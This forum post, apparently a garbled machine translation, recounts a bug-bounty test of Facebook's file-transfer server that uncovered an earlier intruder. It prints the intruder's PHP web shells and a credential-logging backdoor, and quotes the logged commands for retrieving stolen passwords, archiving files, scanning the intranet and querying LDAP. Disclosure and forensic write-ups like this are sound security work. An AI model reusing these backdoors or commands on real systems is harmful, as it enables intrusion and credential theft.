KoreanHackerTeam
Moderator
0x00 写在故事之前
침투 테스터로서 클라이언트 측의 약점에 비해 서버 측 공격을 선호합니다. 서버를 직접 제어하고 쉘 작동에 대한 권한을 얻는 것이 좋습니다. 물론 완벽한 침투가 발생할 때 어떤 형태의 약점을 과소 평가할 수 없습니다. 실제 침투 중에는 서버를보다 완벽하게 제어하기 위해 일부 클라이언트 측 약점 조합이 때때로 필요합니다. 그러나 약점을 찾을 때도 여전히 서버에 직접 입력하여 위험한 약점을 찾아 서버로 바로 이동할 수 있습니다. 페이스 북이 세계에서 점점 더 인기를 얻고 더 많은 사용자를 보유함에 따라, 나는 항상 목표를 침투하려는 아이디어를 가지고 있습니다. Facebook이 2012 년에 Bug Banty Bounty Hunter 메커니즘을 갖기 시작하여 침투에 더 관심을 갖게되었습니다.일반적으로 관통의 관점에서 습관은 데이터 수집 및 탐지에서 시작됩니다. 먼저, 대상의 "범위"가 인터넷에 얼마나 큰지 정의하십시오. 시작할 기회가있는 곳을 평가할 수 있습니다. 예를 들어 :
Google 해킹은 어떤 정보를 얻을 수 있습니까?
세그먼트 B에는 몇 개의 IP가 있습니까? 세그먼트 C의 IPS?
누가? 누가 리버스?
어떤 도메인 이름이 있습니까? 내부적으로 사용되는 도메인 이름? 그런 다음 하위 도메인의 추측과 스캔을하십시오
회사는 일반적으로 어떤 기술과 장비를 사용하고 싶습니까?
Github, Pastebin에 대한 유출 된 정보가 있습니까?
…등
물론 버그 바운티는 무제한으로 공격 할 수 없습니다. 버그 바운티가 허용하는 범위와 만나는 범위의 교차점은 시도 할 수있는 실제 목표입니다.
일반적으로, 대기업의 침투에서 발생할 가능성이 더 높은 문제는 몇 가지 예를 위해 여기에서 논의됩니다.
대부분의 대기업의 경우 "네트워크 경계"는 고려하기가 더 어렵고 문제를 해결하기 쉽습니다. 회사가 더 크고 온라인으로 수천 또는 수만 개의 기계를 보유하고 있으면 관리자가 각 기계를 고려하기가 어렵습니다. 범죄와 방어에서 방어는 한쪽을 방어해야하지만 공격은 단지 침입 할 포인트 만 찾기 만하면됩니다. 따라서 약점과 비교하여 공격자는 네트워크의 경계에 위치한 기계 만 찾아 침입하여 인트라넷에 침투하기 시작할 수 있습니다!
"네트워크 장치"에 대한 보안 인식은 상대적으로 약합니다. 네트워크 장치는 일반적으로 관리자에게 추가 작업을 제공하기 위해 쉘을 제공하지 않기 때문에 장치 자체가 제공하는 인터페이스에 의해서만 설정할 수 있으므로 장치의 방어는 일반적으로 네트워크 계층에서 나옵니다. 그러나 장치 자체의 0 일 또는 1 일이 발생하면 침입되지 않을 수도 있습니다.
"사회 사업 도서관"의 증가에 따라 인간 안보는 때때로 침투 과정이 매우 간단 할 수 있습니다. 공개 정보에서 회사의 직원 목록을 찾은 다음 사회 사업 도서관에서 VPN에 로그인 할 수있는 직원 비밀번호를 찾아 특히 사회 복지 도서관의 수가 증가하고 "수량이 정 성적 변화가됩니다". 주요 사람들의 비밀번호가 사회 사업 도서관에서 찾을 수있는 한 회사의 보안이 완전히 깨질 것입니다.
Facebook의 약점을 찾을 때 일반적인 아이디어에 침투 할 것입니다. 정보 수집을 시작하면 Facebook의 자체 도메인 이름을 쿼리하는 것 외에도 등록 된 이메일 주소를 뒤집습니다. 실수로 흥미로운 도메인 이름을 발견했습니다.
tfbnw.net
TFBNW는 "Thefacebook Network"의 약어 인 것 같습니다.
그런 다음 아래 서버는 공개 정보에서 존재하는 것으로 나타났습니다.
vpn.tfbnw.net
우와! vpn.tfbnw.net은 주니퍼 SSL VPN 로그인 인터페이스처럼 보이지만 버전은 최신 제품이며 직접 악용 가능한 약점은 없지만 이는 내부 스토리에 들어가기 시작한 것입니다.
TFBNW는 Facebook에서 내부적으로 사용되는 도메인 이름 인 것 같습니다. 동일한 네트워크 세그먼트에서 vpn.tfbnw.net을 스캔하면 어떻게됩니까?
메일 서버 Outlook 웹 앱
F5 BIGIP SSL VPN
Cisco ASA SSL VPN
오라클 e- 비즈니스
MobileIron MDM
이러한 기계에서, 우리는이 네트워크 세그먼트가 Facebook의 비교적 중요한 네트워크 세그먼트 여야한다고 대략적으로 판단 할 수 있으며 모든 이야기가 여기에서 시작됩니다.
0x01 前期弱点收集
동일한 네트워크 세그먼트에서 특수 서버가 발견되었습니다.files.fb.com
files.fb.com 로그인 인터페이스
로고와 바닥 글에서 판단하면 Accellion의 보안 파일 전송이어야합니다 (이하 FTA라고 함)
FTA는 문서 전송을 보호하는 제품으로, 사용자가 온라인으로 문서를 공유하고 동기화하고 AD, LDAP, Kerberos 등과 같은 단일 사인온 메커니즘을 통합 할 수 있습니다. 엔터프라이즈 버전은 SSL VPN 서비스도 지원합니다.
FTA에 대해 가장 먼저 본 것은 인터넷을 검색하여 악용 될 공개 악용이 있는지 여부를 검색하는 것이 었습니다. Exploit은 최근 HD Moore에 의해 발견되었으며 Rapid7에 출판되었습니다.
가속도 파일 전송 어플라이언스 취약성 (CVE-2015-2856, CVE-2015-2857)
약점에서 "/tws/getStatus"에서 유출 된 버전 정보가 사용될 수 있는지 직접 판단 할 수 있습니다. files.fb.com이 발견되면이 버전은 취약한 0.18에서 0.20에서 업그레이드되었습니다. 그러나 자문으로 유출 된 코드에서 FTA 작문 스타일처럼 느껴집니다. 계속 탐구한다면 여전히 문제가있을 수 있습니다. 따라서 전략은 0 일의 FTA 제품을 찾기 시작합니다!
그러나 실제 블랙 박스 방법에서 문제를 찾을 수 없으므로 방향을 백 박스 테스트로 변경하는 방법을 찾아야했습니다. 원래 FTA 코드를 다양한 방식으로받은 후 마침내 연구를 시작할 수 있습니다!
전체 FTA 제품의 일반적인 아키텍처
웹 인터페이스는 주로 Perl과 PHP로 구성됩니다.
원래 PHP 코드는 IonCube에 의해 암호화됩니다
Perl의 데몬은 프로젝트에서 많은 것을 운영하고 있습니다.
우선, IonCude 부분을 해독합니다. 제품이 유출되는 것을 방지하기 위해 많은 장치가 원래 코드를 암호화합니다. 다행히도 FTA의 IonCude 버전은 최신 기능이 아니므로 기성품 도구를 사용하여 해독 할 수 있습니다. 그러나 PHP 버전의 문제로 인해 세부 사항과 수치 작업을 직접 수리해야 할 수도 있습니다. 그렇지 않으면 약간 추악합니다 .
간단한 소스 코드 감사 후, Rapid7에 의해 찾기 쉬운 모든 약점을 찾아야한다는 것이 밝혀졌습니다.
인증이 필요한 취약점은 그다지 유용하지 않으므로 더 깊이 파고 들었습니다!
며칠 동안 신중한 탐험을 한 후, 총 7 개의 약점이 발견되었습니다.
크로스 사이트 스크립팅 x 3
전 SQL 사전 주입은 원격 코드 실행으로 이어집니다
알려진 세트 키는 원격 코드 실행으로 이어집니다
지역 특권 에스컬레이션 x 2
취약점을 Facebook 보안 팀에보고하는 것 외에도 나머지 취약점은 Astallion 기술 문서를 제출하기위한 자문으로 작성됩니다. 패치 된 인증서/CC를 제조업체에 제출 한 후 4 개의 CVE 번호가 얻어집니다.
CVE-2016-2350
CVE-2016-2351
CVE-2016-2352
CVE-2016-2353
자세한 약점 세부 사항은 전체 공개 정책 후에 발표됩니다!
사전 8 월 SQL 주입을 사용하여 WebShell에 쓰십시오
실제 침투 중에 서버에 들어간 후 가장 먼저해야 할 일은 현재 환경이 귀하에게 유용한 지 확인하는 것입니다. 서버에서 지속적인 권한을 유지할 수 있으려면 서버에 어떤 제한과 레코드가 있는지 가능한 한 많이 이해하고 발견 될 수있는 위험을 피해야합니다.p
Facebook은 대략 다음과 같은 제한을 가지고 있습니다.
방화벽은 외부 네트워크, TCP, UDP, 53, 80, 443에 연결할 수 없습니다.
원격 Syslog 서버가 있습니다
Auditd Records를 켜십시오
외부에서 연결할 수없는 것은 약간 번거로운 것 같습니다. 그러나 ICMP 터널은 실현 가능한 것처럼 보이지만 이것은 단지 버그 바운티 프로그램입니다. 사실, 너무 귀찮을 필요는 없으며 순전히 웹 쉘로 운영됩니다.
0x02 渗透测试过程
Facebook 보안 팀에보고하기 위해 취약성의 증거가 수집 된 것처럼 웹 로그에서 이상한 흔적이 보이는 것처럼 보였습니다.먼저 "/var/opt/apache/php_error_log"에서 이상한 PHP 오류 메시지를 보았습니다. 코드 실행을 변경함으로써 발생하는 오류 인 것 같습니다.
PHP 오류 로그
오류 메시지의 경로 분석을 따르고 전임자가 남긴 의심되는 웹 쉘 백도어를 찾으십시오.
Facebook 서버의 웹 쉘
여러 파일의 내용은 다음과 같습니다.
Sshpass
맞습니다
bn3d10aw.php
? php echo shell_exec ($ _ get [ 'c']);
업 로더 .php
? php move_uploaded_file ($ _ files [ 'f] ['tmp_name '], basename ($ _ files ['f '] ['name ']));
D.PHP
? php include_oncce ( '/home/seos/courier/remote.inc'); Echo decrypt ($ _ get [ 'c']);
클라이언트 \ _user \ _class \ _standard.inc
? php
포함 _once ( 'sclient_user_class_standard.inc.orig');
$ fp=fopen ( '/home/seos/courier/b3dke9sqaa0l.log', 'a');
$ retries=0;
$ max_retries=100;
//생략 .
fwrite ($ fp, date ( 'y-m-d h:i:s t'). http_build_query ($ _ get);
//생략 .
처음 몇 개는 매우 표준 PHP 트로이 목마입니다
더 특별한 것은 "slient_user_class_standard.inc"파일입니다.
PHP 프로그램에 대한 "sclient_user_class_standard.inc.inc.orig"에 include_once는 원래 비밀번호를 확인한 해커가 프록시를 만들었고 중간에 중요한 작업을 수행 할 때 Get, Post 및 Cookie의 값을 기록했습니다.
정렬 한 후 해커는 비밀번호 확인 장소에서 프록시를 만들고 Facebook 직원의 계정 비밀번호를 녹음하고 기록 된 암호를 웹 디렉토리에 저장했습니다. 해커는 WGET를 사용하여 가끔씩 크롤링했습니다.
wget https://files.fb.com/courier/b3dke9sqaa0l.log
기록 된 비밀번호
로그 레코드에서 사용자의 계정 암호 외에도 FTA 파일의 이메일 내용도 있습니다. 기록 된 계정 비밀번호는 정기적으로 회전합니다 (나중에 언급 할 것입니다. 이것은 여전히 XD입니다).
마지막으로 회전하는 것은 2/1에서 2/7로 기록되었으며 약 300 개의 계정 및 비밀번호 레코드가 있으며 대부분 직원 계정 및 "@fb.com"또는 "@facebook.com"의 비밀번호였습니다. 이 문제는 조금 심각합니다. FTA에는 사용자가 로그인 할 수있는 두 가지 주요 모드가 있습니다.
일반 사용자가 등록, 비밀번호 해시는 데이터베이스에 SHA256 + SALT에 의해 저장됩니다.
Facebook 직원 (@fb.com) 통합 인증을 사용하고 LDAP를 사용하여 광고로 인증합니다.
이 로그 레코드에서 실제 직원 계정 비밀번호가 유출되었습니다. ** 추측 **이 계정 비밀번호는 Facebook 메일 OWA, VPN 및 기타 서비스에 액세스 할 수 있어야합니다.
또한이 "해커"는
에 잘 익숙하지 않을 수 있습니다.모든 백도어 매개 변수는 get을 사용하여 전달되며 웹 로그에서 발자국을 명확하게 찾을 수 있습니다.
해커는 일부 명령 작업을 수행 할 때 STDERR을 고려하지 않았으므로 웹 로그에서 많은 명령에 대한 오류 정보가 발생했습니다. 이것으로부터 해커가 어떤 작업을 수행했는지 알 수 있습니다.
해커는 기록 된 계정 비밀번호를 지우려면 며칠마다 Access.Log에서 관찰 할 수 있습니다.
192.168.54.13-- 17955 [Sat, 2016 년 1 월 23 일 19:04:10 +0000 | '1453575850]'Get /courier/custom_template/1000/Bn3dl0aw.php?c=./sshpass -p '*********'ssh -o stricthostkeyChecking=soggycat@localhost 'cp /home/seos/courier/b3dke9sqaa0l.log. /home/seos/courier/b3dke9sqaa0l.log.2; echo /home/seos/courier/b3dke9sqaa0l.log '2/dev/stdout http/1.1'200 2559 .
포장 파일 :
고양이 TMP_LIST3_2 | 읽는 동안; cp/home/filex2/1000/$ line 파일; 완료 2/dev/stdout
tar -czvf files.tar.gz 파일
내부 네트워크 구조를 감지합니다
Archibus.thefacebook.com을 파십시오
Telnet Archibus.facebook.com 80
Curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
레코드를 파십시오 .fb.com
Telnet Records.fb.com 80
Telnet Records.fb.com 443
wget -q http://192.168.41.16
acme.facebook.com을 파십시오
./sshpass -p '*********'ssh -o stricthostkeyChecking=i for i in $ (seq 201 1 255); $ in $ (seq 0 1 255); echo '192.168. $ i. $ j:`dig +short ptr $ j. $ i.168.192.in-addr.arpa`'; 완료; 완료 '2/dev/stdout
.
쉘 스크립트를 사용하여 인트라넷을 스캔하지만 stderr 정리를 잊어 버립니다.
내부 LDAP에 연결하십시오
SH: -C: 줄 0: 예상치 못한 토큰 근처의 구문 오류`( '(')
Sh: -c: 라인 0:`ldapsearch -v -x -h ldaps: //ldap.thefacebook.com -b cn=svc -accellion, ou=서비스 가속, dc=thefacebook, dc=com -w '*********'-s base (Object Class=*) 2/dev/stdout '
내부 네트워크 리소스에 액세스하십시오
(메일 OWA에 직접 액세스 할 수있는 것 같습니다…)
-20:38336009-- https://mail.thefacebook.com/
Mail.thefacebook.com을 해결합니다 . 192.168.52.37
Mail에 연결 .TheFaceBook.com | 192.168.52.37 | :443 . 연결.
HTTP 요청이 보냈고 응답을 기다리고 있습니다 . 302 발견
위치 : https://mail.thefacebook.com/owa/[다음]
-20:38336010-- https://mail.thefacebook.com/owa/
기존 연결 재사용 Mail.thefacebook.com:443.
HTTP 요청이 보냈고 응답을 기다리고 있습니다 . 302 일시적으로 이동했습니다
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/reason=0 [followt]
-20:38336010-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/reason=0
기존 연결 재사용 Mail.thefacebook.com:443.
HTTP 요청이 보냈고 응답을 기다리고 있습니다 . 200 OK
길이 : 8902 (8.7k) [텍스트/html]
:`stdout '절약
0K .. 100% 1.17G=0S
20:38:10 (1.17 GB/S) -` - '저장 [8902/8902]
-203:38:33-- (try:15) https://10.8.151.47/
10.8.151.
svn.thefacebook.com 해결 . 실패한 3: 이름 또는 서비스는 알려져 있지 않습니다.
-20:39336003- https://sb-dev.thefacebook.com/
sb-dev.thefacebook.com 해결 . 실패한 3: 이름 또는 서비스는 알려져 있지 않습니다.
실패 : 연결 시간이 초과되었습니다.
재 시도.
SSL 개인 키를 관통하십시오
Sh: /etc/opt/apache/ssl.crt/server.crt: 허가 거부
ls: /etc/opt/apache/ssl.key/server.key: 그러한 파일 또는 디렉토리가 없습니다
MV:은`x':을 통과 할 수 없습니다. 그러한 파일이나 디렉토리는 없습니다
Sh: /etc/opt/apache/ssl.crt/server.crt: 허가 거부
MV:은`x':을 통과 할 수 없습니다. 그러한 파일이나 디렉토리는 없습니다
Sh: /etc/opt/apache/ssl.crt/server.crt: 허가 거부
MV:은`x':을 통과 할 수 없습니다. 그러한 파일이나 디렉토리는 없습니다
Sh: /etc/opt/apache/ssl.crt/server.crt: 허가 거부
MV:은`x':을 통과 할 수 없습니다. 그러한 파일이나 디렉토리는 없습니다
Sh: /etc/opt/apache/ssl.crt/server.crt: 허가 거부
MV:은`x':을 통과 할 수 없습니다. 그러한 파일이나 디렉토리는 없습니다
Sh: /etc/opt/apache/ssl.crt/server.crt: 허가 거부
Base64: 잘못된 입력
브라우저에서 files.fb.com 또는 WildCard 's *.fb.com의 인증서 자격 증명이 있는지 확인하십시오.
0x03 后记总结
충분한 증거를 수집 한 후 즉시 Facebook 보안 팀에보고됩니다. 취약점의 세부 사항 외에도 보고서에는 해당 로그, 스크린 샷 및 시간 레코드 XD도 포함됩니다.서버의 로그에서 해커가 운영 체제에있을 때 명백한 시점이 두 가지 있음을 알 수 있습니다. 하나는 7 월 초이고 다른 하나는 9 월 중순에 있습니다.
7 월 초의 행동은 레코드에서 서버를 "찾기"하기 위해 더 편향된 것으로 보이지만 9 월 중순의 작업은 더 악의적입니다. "찾기"외에도 두 시점의 "해커"가 같은 사람인지에 대해서는 암호 로그가 등을 배치합니다. 같은 사람인지 여부는 알 수 없습니다.p
7 월의 타이밍은 CVE-2015-2857 익스플로잇이 발표되기 전에 모퉁이에서 발생했으며, 1 일 또는 0 일 시스템에 의해 침략되었는지 여부를 알 수 없었습니다. 이 사건은 여기에 기록되어 있습니다. 전반적으로 이것은 매우 흥미로운 경험 XD이며 침투
에 관한 기사를 쓸 수있는 기회도 제공합니다.마지막으로 Bug Boun 덕분에 감사합니다